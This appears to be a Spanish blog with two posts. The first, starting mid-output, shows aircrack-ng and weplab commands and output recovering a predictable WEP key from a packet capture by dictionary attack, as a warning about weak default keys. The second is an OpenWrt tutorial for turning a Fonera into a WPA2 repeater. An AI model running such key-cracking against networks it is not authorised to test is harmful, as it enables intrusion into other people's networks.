2 1/ 2 CC(3072) 18(2816) 0A(2560) 16(2560) 2C(2560)
3 0/ 4 43(2560) 98(2560) DA(2560) FA(2560) 17(2304)
4 0/ 1 13(3072) 3D(2560) 52(2560) 99(2560) AF(2560)
5 0/ 1 FA(2560) 10(2304) 19(2304) 3A(2304) 4B(2304)
6 0/ 1 58(3072) DF(2816) 69(2560) 6C(2560) F9(2560)
7 0/ 1 2B(3584) 19(2816) 59(2816) 75(2816) 1F(2560)
8 0/ 1 12(3072) 91(2816) 18(2560) 67(2560) 92(2304)
9 0/ 1 91(3328) C1(3072) D0(3072) DF(2816) FB(2816)
10 0/ 1 00(2560) 02(2560) 12(2560) 6C(2560) 09(2304)
11 0/ 1 43(2560) B5(2560) C9(2560) D6(2560) 02(2304)
12 0/ 1 EE(2744) D0(2456) 36(2268) 4B(2268) 80(2232)
en vez de hacer el ataque de diccionario:
Opening captura-01.cap
Read 38146 packets.
Aircrack-ng 0.6.2
[00:00:00] Tested 45195 keys (got 1202 IVs)
KB depth byte(vote)
0 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
1 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
2 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
3 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
4 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
5 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
6 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
7 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
8 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
9 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
10 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
11 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
12 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0)
KEY FOUND! [ 5A:30:30:31:33:34:39:35:41:44:42:38:32:31 ] (ASCII: Z0013495ADB821 )
Así que hay que tener cuidado con esto!
ACTUALIZACIÓN 20090223: No estoy seguro, pero parece que la versión rc1 de aircrack no hace el ataque de diccionario wep, por lo que se puede usar otro paquete:
$ sudo aptitude install weplab
y para hacer el ataque:
$ cat diccionario.txt | weplab -y -d 1 --key 128 --bssid 00:13:49:AB:12:CD captura-01.cap
...
Right KEY found!!
Passphrase was --> Z0013495ADB821
Key: 5A:30:30:31:33:34:39:35:41:44:42:38:32:31
This was the end of the dictionnary attack.
Referencias
Después de media mañana y toda la tarde he conseguido poner la Fonera (con Kamikaze 7.09) como repetidor de WPA2-PSK. Aunque el resultado no es el ideal al menos proporciona la funcionalidad básica.
Las pegas de esta configuración son:
Arquitectura
La idea que tenía para montar el repetidor era crear un interfaz de punto de acceso, otro de estación y puentearlos, junto con el de cable.
El problema parece que es que los puentes de Linux no funcionan del todo bién con los interfaces wireless. En mi caso un puente con eth0 y ap (WPA2-PSK) funciona perfectamente, pero la pruebas que hice incluyendo un cliente (sta) no me funcionaron. No recuedo si con WEP no hay probemas, pero con WPA2-PSK no hay forma.Después de darle muchas vueltas, por lo visto hay un programa, parprouted, que se encarga de "puentear" interfaces aislados, escuchando las peticiones ARP, mandándolas por los otros interfaces y añadiendo las rutas específicas.
Configuración
Lo primero es eliminar el puente de la interfaz cableada, ya que no se van a utilizar. La IP que tenga tiene que ser de la subred que se vaya a retransmitir, también tenemos el gateway por defecto y los DNS. En /etc/config/network:
...
config interface lan
option ifname eth0option type bridge
option proto static
option ipaddr 192.168.2.200
option netmask 255.255.255.0
option gateway 192.168.2.1
option dns "80.58.61.250 80.58.61.254"
...
y reiniciando la red se ve que el eth0 ya no está en el puente, que se puede borrar:
root@OpenWrt:/# /etc/init.d/network restart
root@OpenWrt:/# brctl show
bridge name bridge id STP enabled interfaces
br-lan 8000.000000000000 no
root@OpenWrt:/# brctl delbr br-lan
Otra cosa que hay que eliminar es el firewall, ya que se quiere comunicar todos los interfaces:
root@OpenWrt:/# /etc/init.d/firewall stop
root@OpenWrt:/# /etc/init.d/firewall disable
Tras esto montamos la parte wifi, empezando por la parte que funciona de punto de acceso (ap), ya que tiene preferencia en la numeración de los athX, tomará siempre ath0. Instalamos:
root@OpenWrt:/# ipkg install hostapd-mini
configuramos los parámetros wifi apadiendo en /etc/config/wireless:
config wifi-iface
option device wifi0
option mode ap
option ssid WLAN_7A
option encryption psk2
option key kakafuti
y le ponemos otra IP de la subred:
config interface ap
option ifname ath0
option proto static
option ipaddr 192.168.2.201
option netmask 255.255.255.0
Y reiniciando la red ya se podría comprobar a acceder desde otro dispositivo wifi con IP fija y hacer ping a su IP.
Ahora pasamos a configurar el otro extremo que se el modo estación (sta). Se intala:
root@OpenWrt:/# ipkg install wpa-supplicanty se configura en /etc/config/wireless:
config wifi-iface
option device wifi0
option mode sta
option ssid WLAN_7A
option encryption psk2
option key kakafut
y en /etc/config/network:
config interface sta
option ifname ath1
option proto static
option ipaddr 192.168.2.202
option netmask 255.255.255.0
Y se podría probar a acceder al punto de acceso original, incluyendo una ruta para que se salga por este interfaz, al hacer añadido IPs de la misma subred en todos los interfaces:
root@OpenWrt:/# /etc/init.d/network restart
root@OpenWrt:/# ip route add 192.168.2.1/32 dev ath1
root@OpenWrt:/# ping 192.168.2.1
PING 192.168.2.1 (192.168.2.1): 56 data bytes
64 bytes from 192.168.2.1: icmp_seq=0 ttl=64 time=5.9 ms
Por último lo que queda es hacer que se comuniquen todos los interfaces, para lo que usamos el demonio parprouted:
root@OpenWrt:/# ipkg install parprouted
y lo configuramos en /etc/default/parprouted:
y hacemos que el demonio se active al arrancar:OPTIONS="$lan_ifname $wifi_ifname"
OPTIONS="eth0 ath0 ath1"
root@OpenWrt:/# /etc/init.d/parprouted enableCon esto ya se podría acceder al repetidor y funcionaría como si se accediese al punto de acceso original, pero al trabajar solo a nivel IP, si se quiere acceder a fuera de la red no funciona,es necesario añadir una ruta para el acceso al exterior. Pero esta ruta tiene que ser a través del interfaz sta (ath1) pero al configurarlo con /etc/config/network siempre se asocia a eth0, por lo que se hace la chapuza y se modifica en /etc/init.d/parprouted, que se lanza después de la red (ver /etc/rc.d):
...
start() {
ip route replace default via 192.168.2.1 dev ath1
[ -f $DEFAULT ] && . $DEFAULT
$BIN $OPTIONS
}
...
Es una chapucilla, pero funciona.
Con esto ya se podría pasar a reiniciar:
root@OpenWrt:/# reboot
y ver si funciona.
Pruebas
Se comprobó que desde mi Wii se podía acceder a internet (con IP fija, pero no con IP dinámica), y si se apagaba el repetidor la comunicación continuaba con el punto de acceso original. Con lo que se comprueba que no hay problemas al utilizar un mismo SSID como ap y como sta.
Mejoras
Para mejorar el sistema se podría probar con: